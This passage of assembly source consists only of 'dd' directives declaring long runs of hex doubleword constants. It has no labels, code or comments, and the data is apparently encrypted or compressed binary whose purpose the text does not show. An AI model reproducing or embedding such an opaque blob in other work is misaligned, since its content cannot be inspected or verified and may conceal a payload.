0F2EF22DBh, 7BC395FDh dd 0B1EE18A5h, 0CEF37407h, 0AFF96C4Ah, 43E91C6Ah, 0CC92B041h dd 0CE109C47h, 0DD171E15h, 9A819C0Dh, 9C2A741Bh, 2D96C7FEh dd 7B5509Bh, 0FAD95B95h, 713AEEF1h, 0BA6D9F66h, 0AC7617FCh dd 128E2A91h, 5521F0D4h, 29384F83h, 0F788FDFFh, 0BB6B3ED9h dd 3DDA7406h, 0CE478C7Bh, 0D8DF419Dh, 0C7676F18h, 288AE685h dd 0A110AA83h, 4E926137h, 1CEE8C37h, 85D10C6Fh, 0FE81819Ch dd 619CD1A6h, 0BAB40E4Eh, 55F334FEh, 6098F7CFh, 0BB0F82FDh dd 1C9B9EC6h, 848B5970h, 0B73044ADh, 0E8D6EB95h, 41207827h dd 5A88C312h, 0C4B309E6h, 82167D12h, 51C88F57h, 1101F775h dd 0A33FCA1Dh, 5E8BEF89h, 0DBF6625Fh, 8A62B8A0h, 6271B995h dd 6296FB8Fh, 0AC21C1BEh, 0B0922E9h, 0D24FA86Ah, 775DE0F4h dd 24235B77h, 0C3BC0900h, 829EA334h, 0AD0D258Dh, 0C2933484h dd 3221B33h, 0E857A2ADh, 6B273C05h, 0D2A21D3Ah, 0CCE58BDCh dd 0C1CF3106h, 24773364h, 0B0CEC146h, 1367A196h, 23F8CB6Eh dd 8BA4EFB9h, 1E55348Dh, 8A3F1002h, 79C300C3h, 0B8F6585Fh dd 0D30EE6ADh, 2161BCD1h, 7B49E5B4h, 0BFF19922h, 0AF3336Ah dd 4975E586h, 189CE7C6h, 0A03AF90h, 4E2BFAFh, 0C043D999h dd 42937014h, 189EAF75h, 14D1F14Ch, 0BF04A28Bh, 9C1D896Eh dd 23F1EAEh, 68A540FEh, 0A868A0DAh, 586E1C0h, 0F8BFC312h dd 0B3021729h, 6ECAECB2h, 21DA4FA6h, 0DF366191h, 3CDB1DE8h dd 9AC76D7Fh, 0DF632A31h, 73724E2Ch, 0F121133Ch, 4365D6Eh dd 7F10F155h, 33185142h, 1D7B1BE5h, 9C69A4Ch, 1CCB60D5h dd 1277AD69h, 5ABB2918h, 0F1A6E76Dh, 0D59EAABFh, 0FBA8D517h dd 0DE73BB25h, 0B785780Ah, 2F1B4838h, 98B138E8h, 70D3E5FBh dd 0C57A7553h, 9FDE6520h, 505F2EC1h, 2EF6CD77h, 5296DBFBh dd 0B6A9A904h, 13010343h, 85213DFBh, 10F968A7h, 222BDED9h dd 38A236F2h, 0EEB197F6h, 2B87E414h, 199E79B2h, 6E1DEAD6h dd 636EA4B3h, 3236ADA7h, 721E65DFh, 0FE378872h, 212BA798h dd 0C284B04Bh, 5ABF715Bh, 0AA7A9325h, 0DEC4D32Eh, 394262B4h dd 0FC89BFD6h, 0B4E95B13h, 1F3D3785h, 0E49F165Bh, 0D5BDC923h dd 15372C2Eh, 436DE499h, 0D03F4668h, 68AE5EF8h, 0B0A4881Bh dd 6E1C6E4Ch, 0C083E21Fh, 973A7D8Dh, 0C13B2504h, 2205A3F8h dd 0BB038B6Fh, 9EDEDD32h, 0C5AEAD51h, 64959408h, 7E7B6E73h dd 2007E496h, 0D8714697h, 0D3FA8DDBh, 57F79C22h, 28CACFAh dd 0D858ABC6h, 0FEE0A5C2h, 46172CB0h, 0C8A3F189h, 9BAD9E54h dd 93C3C9A0h, 1D4AD207h, 297DB9Ch, 4FFB427Bh, 0B449EF5h dd 0D035ADB4h, 14D5395Dh, 3D4E23E4h, 0C6FCB8D2h, 48A99200h dd 0D354A1D6h, 83407129h, 742B3338h, 1A26FE7Dh, 0A8853E6Eh dd 0A2F8D8Fh, 0D656AECFh, 224BE5E2h, 99EE7B78h, 0C68C4E08h dd 0DDA04924h, 99D8A66Ch, 0F5B6493h, 318CBAE2h, 0A1F0378Fh dd 0E8589556h, 6DA624F4h, 81BAE96Dh, 0B30BD23Bh, 953A77FDh dd 9B722D67h, 0F1AEAAB2h, 1641C858h, 89D7A616h, 0CEB63224h dd 7466D0C6h, 1C1D616Bh, 7664B1F2h, 0CEF98C7Eh, 0B4F2A29h dd 0F7066D9Ch, 0DCA7A67Dh, 2C3927Ah, 325B6854h, 6FB597Bh dd 809011A8h, 0B808708Fh, 685A0198h, 0CBD500FBh, 79D1647Fh dd 0F27D485Fh, 0C953B195h, 0A6FA4DB6h, 27736266h, 809C1175h dd 65A2D2AEh, 0A33A458Ch, 444F059Dh, 275075CDh, 0D36BDA9Fh dd 11EB3F46h, 5D7D5C3Bh, 6541B12h, 0C4DB3328h, 8280CA2Dh dd 9B706E72h, 7EC19F03h, 2511A04Fh, 82EDE315h, 397C2D5Eh dd 61B589DFh, 0F2918C52h, 0BF4CD6A4h, 0E4155237h, 9D81C080h dd 6D33F741h, 598FDDD3h, 0EA8F9B75h, 1870D31Ch, 6BEF4DBCh dd 1119C968h, 88F4195Bh, 0B6F2FE52h, 0A10945F0h, 405FF9D7h dd 74C4CF0h, 0BE5A0532h, 7E060A7Fh, 13A1AEC8h, 0FA60932Ch dd 83A46094h, 9F71DA12h, 77373A4Fh, 0F331E991h, 0CA32C711h dd 9CB42AF0h, 4EB46B62h, 2E2A1DFBh, 7F429137h, 549B94A7h dd 5456EB40h, 0D4669522h, 6DD74181h, 0D3E5C040h, 7568BA6h dd 8BC9713Fh, 95AD9642h, 0AA0BC2A7h, 9C8FBB76h, 50E43C6Bh dd 0F7F671C4h, 309AC4FAh, 0FCDAAEC0h, 89D37F46h, 1109712Ah dd 42D7469Fh, 53AB435Bh, 0FD4321ECh, 2C6811Dh, 9C8E21E1h dd 33B8EF1h, 8B9EFC62h, 59C68736h, 0E833AF19h, 0A482F69Ah dd 98672738h, 0BD28554h, 5BE3D408h, 0FFC5207Ah, 65FFD874h dd 0C4622108h, 3FF3AF88h, 7A34AD35h, 1554A8CBh, 0D8D96516h dd 9090899Dh, 0C77F6FC7h, 0B2CD5C16h, 5FC51EB9h, 86626BE7h dd 9E5F5732h, 62145BEEh, 50659A75h, 0A06D6E09h, 0FFFF9323h dd 0A31AE990h, 0C746B4B6h, 66241AE5h, 48E59EB1h, 0B41DFCEAh dd 0DD1A08EAh, 662CF9Ch, 81C3BF18h, 90848AACh, 8B9977FDh dd 9907C824h, 4386CEE6h, 86CB307Ch, 0D67A5CECh, 3B22CB07h dd 283D83E2h, 13B53819h, 370FC452h, 8E637A01h, 0DD4C6F05h dd 8A29A5Ch, 99B007CAh, 8DF72FEAh, 0C5C33323h, 4FC872F9h dd 0F5586E24h, 0B0E7CA81h, 1B0E0E1Dh, 0CA5FB22h, 4A26FFC1h dd 0A9D7EDCFh, 80C31C13h, 0FD009AA0h, 0BC8BCBE3h, 0D46F50FFh dd 0F5ED5EDCh, 4CE40DB4h dd 6366A54Dh, 9BF1BCA8h, 0AD059284h, 315C33AAh, 66CA04CDh dd 0D621458Ah, 5A6EFB21h, 0D734CBC4h, 3374DF6Dh, 0A143FC4Eh dd 2B35E6F3h, 1EB82066h, 4A8DA03Eh, 0EE707555h, 3114B505h dd 7FDE2FBDh, 836CFAE8h, 9181E521h, 8BC52D7Ch, 1AB2789Ah dd 0E981101h, 0A069FB14h, 0A385291Bh, 72B38E45h, 0D1E85CEFh dd 0E96ACA4Bh, 0D4C70C60h, 91A62D95h, 9C8B2714h, 54D52B8Ah dd 62582061h, 40856DB0h, 4CBD9AC3h, 2E8DC9E4h, 0B80126C6h dd 4588FC35h, 0B71254E5h, 7B3C1D02h, 9E94304h, 0D061B25Bh dd 58AD468Ch, 5AFCD8D3h, 7B5ADAEAh, 90B52CBCh, 8192F9A8h dd 0AF7FDCA3h, 4748EB5Ch, 0BE1FF7C9h, 0A1EF7A65h, 0C7D0DA88h dd 0F41A1F61h, 0FB6C8B22h, 0AA20527Dh, 0BB8747AEh, 0BAE35DCh dd 41CCECA6h, 5659B673h, 0D13C500Dh, 8BAA2033h, 0BBBC347Ah dd 0BF618342h, 96F2BB26h, 0D9A4CDACh, 0D5973DA8h, 0A01855A4h dd 0F020AF1Dh, 0BE831E40h, 6B9E9F4Fh, 15D2AEAAh, 45D5382h dd 98D0C924h, 0D90D7D10h, 3864B6CAh, 4A76E4E3h, 0FC04B487h dd 66FF7AA9h, 296C3F7Ah, 0BD9C68DEh, 86BD1693h, 54000997h dd 0F0FC8D6Ah, 939B8DEAh, 8191A668h, 0AD0D896Dh, 4CF3AA69h dd 28418D62h, 3BCCE615h, 90196488h, 0F7C0108Bh, 48A831Ch dd 0FEDBC4BDh, 3955F9F2h, 0FE7F39D4h, 2391CF63h, 2512C0D6h dd 2F937FE0h, 8F50C747h, 985F4496h, 4856BD0Ah, 0FC3C6552h dd 0E66DB128h, 0C2512530h, 0AF177116h, 4B1E804Dh, 0DB830560h dd 3C8F6C72h, 7CDF997h, 5EDD8B65h, 1DCEE989h, 5BF872B3h dd 0C209246Bh, 542C7A42h, 1322D859h, 9E210E9Ch, 0E3AD1E28h dd 6A55198Fh, 1D269C91h, 6E3E1671h, 87382937h, 0D7F67FE6h dd 9E5E205Ah, 48EC8B91h, 7097F911h, 0CB5F2968h, 0F6643A9h dd 540B7F51h, 2EF4D4A5h, 57F34B0Bh, 0D9B796ABh, 85BBBD0h dd 0B4872F69h, 889077A7h, 7A7AABB8h, 0AE617AFDh, 3C3D77B8h dd 0BE335D9Dh, 6DEAFE0h, 0B839C207h, 3820323Dh, 75A38352h dd 0A71EDA1Fh, 0C4242124h, 654D3376h, 75F6566Dh, 17241A6Ah dd 9C5EA330h, 9295091Ah, 45945FFFh, 73A45ADCh, 64819E2Ch dd 3F43E04Ch, 5A13E712h, 76EFBEA0h, 66D6194Fh, 88AF868Ch dd 0CADBC948h, 4531D5DDh, 0C448C54Eh, 3A89E6B7h, 44EF37AAh dd 0B6EC2E34h, 23F2084h, 0AD3DCA66h, 5C0E0CF6h, 8A9A0DDBh dd 55FAF594h, 0C334A956h, 0FEF0CD6Bh, 0B44E5409h, 9969136Eh dd 8DCE56D8h, 0B0327600h, 6326AB07h, 0BE5DEB32h, 0DC79DE17h dd 7DF9FBE0h, 2D40373Ch, 0FF17CBA9h, 0C0ACEA38h, 53E582B3h dd 752BDE7h, 0F9C2D851h, 7539A4EBh, 60CBC473h, 66BB9881h dd 0CE0F7FB0h, 9DDBEFDFh, 2D5995D3h, 0DC5B40A6h, 8031A031h dd 0C8607EFEh, 0D4DC7BC8h, 46C9144Eh, 529ECD1Eh, 1C3BD3EEh dd 9685A99Ah, 751FED9Ah, 922A9C5Bh, 0CF6C1B4Eh, 15D5DEC7h dd 9E3E650Ch, 93F342A3h, 0B3AEC6B4h, 0B9EB2894h, 5795833Bh dd 699B1196h, 5C002E4Eh, 9FDB6844h, 0F4DB4BE0h, 0A84B9D4Ch dd 88880711h, 8CD86A2Ah, 179C5AC2h, 475969C3h, 490E61D2h dd 50435CB0h, 0AE5F864Ah, 0A2702B18h, 3B88C289h, 9CD6CF15h dd 0FAC1686Ah, 0D337512h, 8B6AE1A3h, 8474BCF3h, 0F7FC0BD7h dd 822345B4h, 0A07B482Eh, 0B8B84D00h, 46157A2Eh, 96DC31BCh dd 0DE90D2E4h, 16AC4443h, 0CAB85A1h, 89D0CD83h, 76943B82h dd 0C5628557h, 5ABF47D0h, 71DF67A5h, 275AC99Ch, 0D76389DDh dd 4846A5ADh, 5D1E3DD6h, 0E06C5FDAh, 8AACFF1Fh, 312EA483h dd 74416264h, 583574A8h, 0B0796C12h, 0EA82612h, 2B2C35F6h dd 0F354E190h, 63AEAE43h, 0ABAC4797h, 98275283h, 0C22EB38h dd 0A25FD4EAh, 9ED61126h, 47432C1Ch, 0ED7CA27Ch, 649EDE3Ch dd 2D90B4CEh, 1B2BE46Fh, 6FF38796h, 0FC89E9A8h, 0C5E73737h dd 0AE684479h, 0A2299761h, 410D4927h, 0EA05F86h, 125FBFFFh dd 316FE548h, 5352C4BCh, 0A210833Eh, 0E956F1BFh, 0A15AE3F6h dd 61A37A3Eh, 5702D29Ch, 0DB0BE0BBh, 1401F0B3h, 0BCE9B635h dd 0D789C0ABh, 1F8BFA0Eh, 52EC92Bh, 0D4C221A4h, 492D36B1h dd 5B194895h, 0BE03A26Ch, 0DEFC2005h, 95D25B2Ch, 7F1ABF32h dd 9BD705Eh, 2FABA720h, 1228F1AAh, 417DC718h, 0C9AD9AFEh dd 0C1CF7884h, 0FF82DBFFh, 5A6917B2h, 0D8DB49BBh, 80510A41h dd 0C2624867h, 97B4C9Dh, 0BA08C457h, 0F8474E57h, 0B5EB713Ah dd 6F6056C7h, 2F26578Bh, 0CDA1A275h, 24304ABFh, 0B94A4A6Bh dd 6B98494Ch, 0A69BF117h, 9FE73CC1h, 0B48E697Fh, 0F2672F8Fh dd 5C8BFC30h, 6B2AE437h, 7FCE863h, 17629A88h, 92432167h dd 379E1BADh, 4B8CA0D5h, 0B735491Ah, 35F5C380h, 2198EA25h dd 0B7AE6E22h, 499AC1CBh, 0A573BEDBh, 0EB0A5231h, 0D22E7BD5h dd 0F8141E60h, 4C04B6D3h, 0D327FB78h, 9079E2D1h, 0AB0F1368h dd 28CD6394h, 0E7AF6738h, 0F05A16C4h, 7ABEB63Dh, 143EE9C1h dd 66E4C85Ah, 0AF8BC541h, 3DE96F5Ah, 0F9D46F14h, 0ADC98599h dd 0DC277F0Dh, 35168ED0h, 9F64CDBEh, 10AF37A7h, 90349B50h dd 0E00C8418h, 3061ECAFh, 2422409Eh, 39734ACEh, 81C973A0h dd 0A253A8C0h, 0DE8843FAh, 87ACF31Dh, 6A0BF801h, 0E33D6EF9h dd 0A420E43Ah, 2924E510h, 1F2E47E4h, 84071B42h, 475FD83Bh dd 559897F6h, 0ED5EC42Fh, 0EF66FEBCh, 2B0F559Bh, 0ED78C40Dh dd 76929Fh, 8617DC5Dh, 193CEB05h, 502FCAC4h, 8CE4D80Ah dd 81467B5Fh, 0F7225A06h, 0B7728451h, 9A4AD2D9h, 4750D8E3h dd 0A420E78h, 0A7ECB21Ah, 5C7CA1A7h, 86229953h, 764E3212h dd 0EDAD8DB9h, 8B926338h, 0F376862h, 0E6C6B6D0h, 66F7C983h dd 28BBCCAAh, 0D6F214FFh, 5971EB06h, 7BF701EEh, 37623C6Ch dd 1674A5A2h, 0AD168E5Eh, 8AF6CFE8h, 11D07F46h, 0E67AD761h dd 193D24C7h, 8E5553C6h, 35A2C8DAh, 0FE9EC00Bh, 46BE4B55h dd 83F413A0h, 0CD8050ACh, 0F95EEDD1h, 6193316Fh, 80750490h dd 1083A0A3h, 0DD3EE9Fh, 0A7F8095Ch, 0E4A6364Dh, 806264F0h dd 4B9FAB9Ch, 2D487ECFh, 4CCD0BDDh, 0BF11A08h, 69D6308Ah dd 0CD717AE8h, 0AB2CBF99h, 0B53EEC12h, 87FF0A2Dh, 91D3BEE5h dd 0BEB0DEAFh, 0E6CBFB5Fh, 5FBE0A08h, 20B241EBh, 6F404646h dd 15F21064h, 6D57A2Ch, 8BE76B9Dh, 926C539Ah, 0A7264E94h dd 0A7B5AA3Dh, 7CEEC383h, 0BA9DFFA8h, 73F40B0Bh, 0AD12AA3Eh dd 8FF0A44Dh, 6C1BEDDCh, 0B6C1DA82h, 0DBF4E817h, 230485EEh dd 5CE01882h, 3761CA65h, 3C541165h, 4D0B1BD6h, 735BCF2Eh dd 50931B5Eh, 0B2C204F8h, 0B3F9D459h, 0AA6294F2h, 0F044EF95h dd 39550705h, 52C74B0Ch, 0C9142C1h, 90F9B35Ah, 0A603C5F0h dd 1F225456h, 8EF7E651h, 999DD441h, 0A38AACEh, 3190E95Fh dd 590D7C2h, 710A7D38h, 7F49D8F1h, 0AAC74255h, 0E4C5BF5Ch dd 0C01F3950h, 7BD6497Bh, 9DD59ED1h, 0E53C08E6h, 0B1DDCA78h dd 0A6C1A5A3h, 0BEC25420h, 70173F63h, 7CA112FCh, 82821B1h dd 6553C60Bh, 0E9CDB87Dh, 0BC4D22F9h, 42B97687h, 0DA5F1855h dd 0E59C6ED6h, 0A6FADC06h, 50FAC255h, 3B54DA31h, 0A30B91D4h dd 0F6CB258Dh, 18BB7CDh, 0AE3D84D0h, 0E68E65C7h, 97D9FF25h dd 0EE510F87h, 0A8B795FEh, 1109D808h, 652EA2FDh, 0D73E343Ch dd 9E7CDF5Eh, 82DAECD6h, 57CBE588h, 584B1735h, 0E333CB60h dd 4AE8C5Ch, 0B2D8EF56h, 828558FDh, 4B68E398h, 0CF0671A7h dd 3DA718C8h, 5F9ABE52h dd 8D130478h, 7D5EB4ACh, 447ECCA7h, 0BB91FA6Ah, 2DA1DFD6h dd 0D3884D5h, 0D491277Ch, 0D2E544CBh, 13A12957h, 4E66F793h dd 0C345B327h, 0D219D75Fh, 56D17DD9h, 7A4BB843h, 21783F8Eh dd 0EE9025B9h, 282E8C1Dh, 79F7DAE2h, 940AD469h, 0E041A5DEh dd 0E80F1ABAh, 456F132Eh, 63910637h, 0E942D3ECh, 42F2CAA6h dd 598BC26Ah, 62DC7402h, 0ACC9C35Eh, 797364Fh, 0FD9449A5h dd 54BA9B7Dh, 84D6C9B3h, 0F1AE9E0Dh, 0F38F00B3h, 93DC09A3h dd 119CA937h, 0DB9DB60Bh, 62BCD75h, 0A3F4A3C0h, 0F81BC12Bh dd 0CBA1FD96h, 7D274A66h, 819918B3h, 466BF429h, 4391B8Eh dd 31AC4EC4h, 0BD031780h, 1C2BA815h, 3F095BC1h, 0DAB86FE4h dd 0C0645D80h, 2AACB0F5h, 0C8AD6600h, 2ADF976Dh, 0A5398F63h dd 1D200236h, 2CD83E6h, 0FB2BFDAh, 5B9BA71Dh, 8459447Ah dd 0CE903776h, 6E6E8C7Ah, 0DD419300h, 47E52719h, 516143C4h dd 0BFB44B5Fh, 88BB63A9h, 0C7888269h, 4F7EE74Bh, 686D2843h dd 30DAE919h, 39F5978Dh, 67B1D76Ah, 2904F67Fh, 0CEB664B4h dd 31D6771Bh, 0E750324h, 0E8F614C9h, 13DF1615h, 32483A90h dd 0FD5AF3ABh, 31F8B703h, 1213DB8Eh, 0E4E5C6EAh, 0B9B63CE9h dd 45FEED71h, 4BE622A7h, 7EBD30EEh, 0A2494860h, 54A2C0C8h dd 0CD018ADDh, 0E413A3CEh, 44FD7EDCh, 0E892BEAEh, 6E056FF8h dd 0BDD506F1h, 0EF366DB1h, 4F7065B2h, 0F9617D28h, 0F47AE355h dd 9C50B9A4h, 3C8659A6h, 0E39F7C1h, 0E4177AEBh, 1E2E501Fh dd 4364675Eh, 8328BBFAh, 0B021BF70h, 74415AB2h, 0B9C71A8Eh dd 9CECE3CFh, 87AEB58Ah, 742D7023h, 0DA00DBDCh, 4D28556Bh dd 2662806Dh, 0C44FCA1Eh, 0CD846A8h, 0B1B5AC36h, 0C9EB2D68h dd 76C32DAAh, 34AE1EE6h, 61EB8C88h, 73399D7h, 71E09FEDh dd 52B698DBh, 0DE0B17B8h, 0B4B4ECCAh, 0F7066959h, 89128AE2h dd 0AB814823h, 147399E0h, 1F9CB053h, 0B1530E7Fh, 81239A73h dd 171DAB28h, 9F4D1A12h, 0DA0803DDh, 2A141C4h, 0BD7F0868h dd 8493F6EEh, 3B1E33A3h, 61D01CDAh, 52D0F792h, 258A022Ah dd 79308A17h, 28BC56D4h, 0FC3FFEF6h, 0FE9788F9h, 3A77FDB8h dd 7AB622EAh, 462E75Ah, 753FAAE4h, 0D85E2401h, 1052CAF9h dd 0C552BF1Ah, 0D604BDDCh, 0B2C52394h, 6D59D849h, 8E47B978h dd 0F129F769h, 0F6CFFCDh, 8EDB3221h, 0ABD8E111h, 0D283D686h dd 0EF51F6D2h, 0CFB62504h, 181B110Dh, 4F55AE24h, 0BF2E23DFh dd 0E6DA7B20h, 23BDE13h, 0E216A0h, 788FDB76h, 3C8EB2F9h dd 5383135Dh, 6DCC5036h, 0FABC486Ah, 7DBCB03Fh, 0BC724A63h dd 305AE5F1h, 0D1D1EBEAh, 0B6C73C0Ch, 8B489C1Ah, 0F8AF7704h dd 1E50B699h, 0A749228Dh, 77B784EEh, 0B00A7812h, 0B62A7B72h dd 0AE224FE2h, 0D9226D9Eh, 3061C800h, 5DDC801Ch, 22D4D812h dd 0B915D597h, 9C809A8Ah, 6FBB0BCCh, 0A901A861h, 0D397E981h dd 3BDB0852h, 4BF69009h, 8D5CC35Bh, 8ED8AA8Eh, 56935CE7h dd 0BD6E63DDh, 63BA5FBFh, 99705958h, 9DCC5416h, 0B0129D3h dd 0F656688Ah, 8313200Eh, 19A2B92h, 0B8D148A0h, 63923C5Ch dd 5A827E17h, 3AF7B923h, 0CE38BB7Ah, 52134FC9h, 0FB08FBCAh dd 927E1D1Ah, 610F9A1Ch, 3919D148h, 959331E4h, 29226AD9h dd 9E42050Fh, 0C248EEB5h, 0B8D1EAACh, 0AA03E084h, 0A4DB3D09h dd 0E2806EDCh, 2E8F63F4h, 2411CABBh, 77767EF3h, 39D1DFAAh dd 0B5F7DAD9h, 0DD1071E0h, 0D8F806A4h, 7C9AB734h, 0EE891DCBh dd 0BA1C1CE0h, 74B8DF68h, 0A2355FD9h, 84F56376h, 8B4381E2h dd 0F21C534Eh, 0DB31F1CBh, 846A6804h, 0F0A9E515h, 5BA797D9h dd 0DA0C68B8h, 0FFB57824h, 2F87A903h, 883F87A9h, 0D066303Bh dd 4D14B1Ch, 0E1C5FB32h, 254B5DA7h, 46BD84B3h, 1732AB60h dd 0FF3617BFh, 0FE23B134h, 17279B8h, 0D7D9DFE0h, 0EDDE2933h dd 910A54A0h, 0EF05A07Ch, 0A3A03448h, 9AEBF5DFh, 3AA8FBD4h dd 0DE952BE9h, 0EE001D0Ah, 0A5C02343h, 3642CBF5h, 3143736Eh dd 34D68D9Dh, 14D8CF1Dh, 2215F8F4h, 67CD7925h, 7A2FA8B2h dd 6F591111h, 5C6510A2h, 95D263B9h, 3AEC1B0Ah, 0DFA66E84h dd 0B3273C8h, 81B6A1B2h, 0B1C2F00h, 0E1462438h, 6830CE55h dd 93EC9EF1h, 9D2720D9h, 0CE94A79Dh, 0B5E33F73h, 23D5B212h dd 0E4F3534Dh, 43D6C85Ch, 0ACCD8FB5h, 151F9158h, 669CE394h dd 0B6D20F45h, 0C3CCFE07h, 9A430217h, 3D0BA0FDh, 0B734A15Dh dd 0C39759C0h, 0C77FF47Ah, 1BE5BB6Eh, 5E582CF7h, 15F680C0h dd 77F68EC0h, 0F6970DD7h, 9A706585h, 0C04CBE37h, 0DDFE5835h dd 0CBCBAA98h, 0CAF985C9h, 7AAAAC37h, 0B2F59310h, 12E34D72h dd 6BB5C3FEh, 997C09A6h, 71C91D94h, 40D8DB81h, 0FE9CC147h dd 2B86ED8Ah, 0A4989F3Ch, 0D1A10A98h, 750932BBh, 3F01FC07h dd 5BFAF435h, 0F7CFB690h, 0CFA4F22Ah, 4A415D33h, 5F7584F1h dd 0D098CF3Eh, 6A730A16h, 3A0C52Bh, 0D8DC9BBBh, 69D6F006h dd 17D02576h, 0E1B205B6h, 3FBA7A42h, 71A55A59h, 8AB3F2F0h dd 731EB90Ch, 9EDF9727h, 0C688DE0h, 33DA628Fh, 0BD57E86Dh dd 86068C65h, 1D8ED511h, 0C146053Fh, 0E5E9F649h, 0ED18A1BDh dd 17ECF837h, 8367E742h, 6F50ED0Bh, 0D0248157h, 7823F661h dd 0DA9F8FEFh, 0B8CCA20Bh, 0C930E3E5h, 284D47A1h, 47233514h dd 0D7CEF7FEh, 18687EAh, 8954EBABh, 16FE5048h, 33AA5B5h dd 960BC7AEh, 867792F9h, 8CB4BA0Eh, 0E1D38192h, 5A0A9FE2h dd 0B6A449B5h, 0CF709D7Dh, 0AE5AF36Eh, 8D064767h, 861E2E4Bh dd 0CAA0583Dh, 2FCC1F8Dh, 7A21A007h, 42F073A4h, 713C9346h dd 8132840Fh, 0D527AB7Ah, 0F04F9D72h, 459B25Dh, 2AA395F9h dd 0A41FDA9Ah, 5940A53Bh, 0D533A6A7h, 72D4128Ch, 0E8380083h dd 0A5A12796h, 1129C7E2h, 6C460D4Bh, 1D4D8257h, 678BE276h dd 0EAA6A133h, 0C5920F7Dh, 0DF660375h, 0F1A1479Ah, 6EE8DF2h dd 321E4385h, 2534FA61h, 0EC599F70h, 3E5817F4h, 8E62CE42h dd 0B5CF72EFh, 10BC7711h, 6216405Dh, 15A74720h, 7C3D6BABh dd 8FAFD3FBh, 1BA5EC5Ch, 41B25D8Dh, 6B60D27Ch, 276B247Bh dd 109D4935h, 0DA10613Bh, 8B21F007h, 685B7D9Dh, 84A19E39h dd 5C9306BDh, 3A7F4DBFh, 0DCF34CC0h, 0FB81163Bh, 0DDABC2B0h dd 2BD765DAh, 269DD2E2h, 196320C7h, 9D1F55D1h, 0DB76AAFCh dd 891D909Dh, 8BB1B59Dh, 146D6043h, 8A4FDB74h, 0DF2CC6DDh dd 5F682D76h, 0C23E906Ah, 11F588C6h, 85BBC202h, 105A99F6h dd 5E7C7156h, 0BF724F72h, 0AA9ACF37h, 0F056E14Fh, 4F474D3Ch dd 8ED7F3D6h, 0C172F12Bh, 0DBD759FFh, 15BD3CA3h, 0FC61D2E5h dd 37C5D0AFh, 0A6F14802h, 3986865Ah, 74A18F98h, 4D1A826Ch dd 0E474F633h, 4493D2E1h, 2F86F721h, 0C571A8BFh, 719C4205h dd 9399743Ch, 6B12BEA7h, 52C55CA8h, 97F37108h, 0ED033B3Eh dd 0EC48C7C4h, 0C23C9104h, 0A7759CCBh, 0ED797ACEh, 7B75BB20h dd 0C945FFD9h, 0D28B53D0h, 0D5D001A4h, 0A1752A9Bh, 6420924Bh dd 8C9763A3h, 63F3DEF9h, 0F8EA0CFBh, 0FB57CB66h, 0EF9C8096h dd 0E8B555B6h, 7C12F982h, 0B2686825h, 68D9E9CCh, 0EBA78CC1h dd 0D58E3A40h, 805F7582h, 0F480D4C0h, 102C2ECBh, 29D55CD8h dd 0EE0F2E5Fh, 0C7718156h, 69368B7Bh, 69D282F7h, 0A4A8A9C6h dd 1EDF6185h, 74949A99h, 0CA5E5D36h, 35BF61CDh, 0A5BE9ECAh dd 0B600EC11h, 6EF88EC9h, 393A879Dh, 0BC845932h, 8BB3EAEEh dd 9EC558FAh, 0CA997BF2h dd 55372EFFh, 9DC3AB4Ch, 9C531E51h, 6FF1D78Bh, 2A9D36CFh dd 0F2AE2A0Bh, 1D3FBD04h, 13EBF334h, 451BF153h, 0AEBFA3Fh dd 12363B65h, 7401315Eh, 0B8B89253h, 0F55F7D34h, 0AEB7F709h dd 0EF3F1FC8h, 4CBCCBAEh, 6986A72Dh, 3006BE65h, 132D7572h dd 3636B1EBh, 82D8C1F6h, 26D942DAh, 0B815A9B2h, 1F51C30Ah dd 50BB38F7h, 30A1B386h, 0EC266B3Ah, 0C533D960h, 0A0EDABD5h dd 0A74C7DC1h, 68E5540Ch, 14724E68h, 8AB46AD7h, 1FA1E2C6h dd 0F499B940h, 0C6D530C3h, 44A56454h, 888B5825h, 0BB35E23Ch dd 2386F2E0h, 0F8423F36h, 0D0AE697Bh, 33A667E1h, 9D365BAEh dd 73ED6395h, 85E0E635h, 854681D4h, 6A3DA6ADh, 29CBB62Dh dd 622EE630h, 84DFE695h, 3D15C041h, 0FA3CFE27h, 0EAE6D468h dd 131B38F5h, 7100475Eh, 0EDBB8587h, 6C59B0BEh, 4BBC90F2h dd 1B4C3C25h, 0DF529A53h, 15CDBA7h, 4C890D7Bh, 394B62D4h dd 8967F625h, 0E7C229Ah, 0E621FBCCh, 907738FDh, 31A7395h dd 27E00EFBh, 0CDB45973h, 9BB5024Ah, 7A7BC3F4h, 3E31FDCFh dd 51ACB357h, 2B7FD34Eh, 0A7C9F613h, 50EF432h, 50E9B216h dd 0D3607A4Ah, 65B461D9h, 9DF2B89Fh, 0E19AC93Dh, 76927F31h dd 0DE855B1Fh, 806EC62Ah, 0A39356D8h, 0C3FD8DAAh, 200BE0E7h dd 0C9CE5EFDh, 31329CDCh, 492A81B0h, 0D4058B68h, 20CD95F3h dd 0AFB2C3FAh, 0E325C055h, 37CBF0C5h, 58ABF070h, 0E5CA256Ah dd 7C2B6417h, 44A65CE4h, 0B7B7BA15h, 40A0B9A4h, 54A5E8ABh dd 693A5BF5h, 5C76D989h, 64ADA188h, 0F3F41755h, 5B3EF297h dd 0F5D4B059h, 856CBDC5h, 8E1D3272h, 959C4781h, 0A3648FB2h dd 0E152164Fh, 114A54F7h, 842F543Fh, 5208C2AAh, 68317650h dd 0BFF0CCABh, 6692A460h, 2C7C6E3h, 0DD59F497h, 21A94F3Ch dd 0D323E67Dh, 5D3FABBAh, 0E7A72C3h, 7D58AAA2h, 0E25E3223h dd 6F1A5DB5h, 0B9727969h, 0F7D45A47h, 0A5CFAD00h, 2E2BA762h dd 0BEFC1273h, 0F5700DDFh, 8B898C93h, 0C57D54D0h, 0E46D1456h dd 0AE229487h, 2B4DA606h, 4B2C42B3h, 83B60D06h, 4F380BFh dd 88182988h, 0C05DDEFEh, 6DC0740Eh, 0A25FC9C5h, 8D7BA09Dh dd 0ED68F14Dh, 0D144C5BCh, 2C62006Dh, 264DB4B7h, 0E264EC7Bh dd 55F0FD65h, 0AA01C5B2h, 7C57F616h, 3E913426h, 15E5E63Fh dd 0EEE113C0h, 0ACA037D4h, 0ED0E496Dh, 4FD29BD6h, 0E0378E40h dd 5D5BF25Ch, 0E0948D03h, 433C8F21h, 0B05370E5h, 695B73Fh dd 9E944D0Ch, 18AA5C03h, 0CB2F9350h, 1B20A2A4h, 31C897ACh dd 0D8E1EE32h, 19F109Fh, 55326FB6h, 11432E74h, 4C9D859h dd 8B5AFCAh, 0CFCACF08h, 0F34B74C1h, 0AD966D50h, 0CCFB94FCh dd 1114366Dh, 25A72054h, 75290035h, 0B03E71D4h, 385CFE09h dd 